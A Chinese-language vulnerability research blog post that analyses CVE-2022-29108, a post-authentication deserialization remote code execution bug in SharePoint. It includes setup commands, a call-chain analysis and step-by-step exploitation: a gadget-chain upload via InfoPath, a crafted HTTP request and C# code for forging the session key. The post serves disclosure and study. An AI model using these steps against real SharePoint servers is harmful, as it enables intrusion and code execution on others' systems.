旧瓶装新酒 - Microsoft SharePoint 身份验证后反序列化远程代码执行漏洞 (CVE-2022-29108)

本文详细分析了Microsoft SharePoint中的CVE-2022-29108漏洞,这是一个身份验证后的反序列化远程代码执行漏洞,与CVE-2022-22005密切相关,涉及StateService和ChartAdminPageBase组件的安全缺陷。

旧瓶装新酒 - Microsoft SharePoint 身份验证后反序列化远程代码执行 (CVE-2022-29108)

引言

最近,我接触了一些与SharePoint相关的工作,因此正在学习如何设置和调试SharePoint的旧漏洞。二月份出现了一个反序列化漏洞CVE-2022-22005(当然是身份验证后的)。已经有一篇由越南作者撰写的详细分析博客文章(此处)。该博客写得非常热情和详细。我也依赖该博客中的细节进行设置和调试。由于本文中写的漏洞与之相关,我建议您先阅读上述文章,以便更容易理解本文!

如上所述,CVE-2022-29108与CVE-2022-22005非常密切相关。两者在操作、入口点和修补方面相似。并且很确定它是在1day分析期间发现的!

环境设置

设置完全基于MS指南此处

设置完成后,继续以下步骤:创建Web应用程序 -> 创建网站集

起初,我以为CVE-2022-22005漏洞在默认设置下有效,但在调试时发现并非如此!(不确定我的设置是否与其他人不同?)

第一个条件是“自助网站创建”功能默认禁用,这意味着具有默认配置的普通用户将无法创建子网站 ¯(ツ)

ZDI博客文章中的一个示例:

因此,如果您想像这些旧文章那样工作,必须首先启用自助网站创建功能。

第二个条件是CVE-2022-22005基于SharePoint的StateService工作。此功能在默认设置下不存在。以下是StateService未启用时遇到的错误警告:

读者可以参考此文章了解如何启用此特定服务,或仅使用以下命令:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#创建新的“State Service”应用程序
$StateService_application = New-SPStateServiceApplication -Name "State Service"

#为State Service应用程序创建数据库
$StateService_applicationDB= New-SPStateServiceDatabase -Name "KnowledgeJunction_SP_StateService" -ServiceApplication $StateService_application

#为State Service应用程序创建代理
New-SPStateServiceApplicationProxy -Name "KnowledgeJunction_SP_StateService" -ServiceApplication $StateService_application -DefaultProxyGroup

Initialize-SPStateServiceDatabase -Identity $StateService_applicationDB

分析

让我们回顾CVE-2022-22005的接收器在ChartPreviewImage.loadChartImage():

1
this.sessionKey = Request['sk'];

上述sessionKey用于通过CustomSessionState.FetchBinaryData(this.sessionKey)方法从StateService获取二进制数据:

为了修补CVE-2022-22005,他们添加了一个SerializationBinder以防止任意数据反序列化:

为了找到此漏洞的变体,我专注于CustomSessionState.FetchBinaryData()方法。此方法负责从StateService检索二进制数据。 这意味着在从内存获取后必须有额外的步骤来处理此二进制数据,对吗? 使用dnSpy中的Analyze功能查找调用CustomSessionState.FetchBinaryData()的地方,结果如下:

让我们专注于ChartAdminPageBase.get_currentWorkingSet()的方法调用。此方法的内容如下:

1
this.CustomSessionStateKey = Request['csk'];

然后从StateService检索二进制数据与此CustomSessionStateKey,然后直接传递给BinaryFormatter.Deserialize() => RCE

调用ChartAdminPageBase.get_currentWorkingSet()的调用图如下:

包括从ChartPreviewImage.Render()的方法调用(与旧漏洞CVE-2022-22005相同的入口点):

完整堆栈跟踪: ChartPreviewImage.Render()

ChartAdminPageBase.FetchFromCurrentWorkingSet() > ChartAdminPageBase.get_currentWorkingSet() > BinaryFormatter.Deserialize()

利用

利用与CVE-2022-22005完全相同,如此处所述。 然而,我仍然在本文中写下每个步骤的细节,作为未来参考的笔记!

步骤1:存储payload

首先下载并安装Microsoft InfoPath此处。 使用Infopath创建列表并发布表单如下:

使用Infopath创建列表后,我们可以访问并使用该列表创建新项目如下:

如果点击“新建”并收到以下响应,意味着StateService未在SharePoint中启用(我在本文开头提到过):

如果我们已启用StateService,将获得以下页面:

在“附件”部分上传文件,主文件内容是将用于反序列化的gadgetchain,这里我使用TypeConfuseDelegate gadget获取RCE(上传后,只需将文件留在那里,不要点击保存!):

回到burpsuite,使用上述文件上传请求,在Response部分,找到您刚刚上传的文件名。旁边将有一个形式为“hash_hash”的字符串,让我们称之为itemId,保存此值以备后续触发漏洞使用!

步骤2:获取payload会话ID

如CVE-2022-22005和CVE-2021-27076的文章所述,我们使用相同的方法存储二进制会话数据并在以后重用。 此重放方法的想法基于Infopath的文件上传处理! 当通过Infopath列表上传文件到服务器时,如步骤1 above,SharePoint将文件内容缓存到attachmentId,并将此文件的元数据(包括attachmentId)缓存到另一个itemId,然后将该itemId返回给用户。 可以通过以下图片描述:

对FormServerAttachments.aspx的请求如下:

1
2
3
4
5
6
7
8
9
GET /_layouts/15/formserverattachments.aspx?fid=1&sid=AF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089&key=BAIkY2UyMTcyNmQtNDNmZi00MWEzLTkyMDQtOTgxYTE5ZTc1ODI3QWU5ZjUxYmM2YTgxNzRiNmViMWM3Y2ZhZTY3NmJlNGFkX2UzOWQwYzgyZDAyZjRhYzc4NjQ5NWE5OTA1NjJkYzg0gAhF&dl=ip HTTP/1.1
Host: sharepoint
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: _InfoPath_CanaryValueAF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089; 
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: Keep-Alive

使用从InfoPath_CanaryValue检索的sid:

1
AF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089

并使用key参数,我使用以下代码获取它,其中_serializedKey为 步骤1中上传文件后返回的itemId:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
static void Main()
        {
            
            MemoryStream ms = new MemoryStream();
            EnhancedBinaryWriter enhancedBinaryWriter = new EnhancedBinaryWriter(ms);
            enhancedBinaryWriter._state = 4;
            enhancedBinaryWriter._dataType = 2;
            enhancedBinaryWriter._itemId = "ce21726d-43ff-41a3-9204-981a19e75827";
            enhancedBinaryWriter._serializedKey = "e9f51bc6a8174b6eb1c7cfae676be4ad_e39d0c82d02f4ac786495a990562dc84";
            enhancedBinaryWriter._size = 1024;
            enhancedBinaryWriter._version = 69;
            enhancedBinaryWriter.Serialize(enhancedBinaryWriter);
            var base64String = Convert.ToBase64String(ms.ToArray());
            Console.WriteLine(base64String);
        }

(有关此部分的更多细节,读者可以参考CVE-2022-22005的博客文章,作者对此步骤写得非常清楚,因此我不再进一步描述!) 以下图片是FormServerAttachments.aspx请求的响应:

在响应的末尾,将包含一个形式为“hash1_hash2”的字符串,第一个哈希将与我们刚刚传入的itemId的第一个哈希匹配。 这是attachmentId,或者也是payload Id/session Key,我们将使用此attachmentId传递到ChartPreviewImage.aspx并触发反序列化:

以下是PoC的逐步演示:

如果您更喜欢阅读越南语版本,可以在此处阅读。

参考文献

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计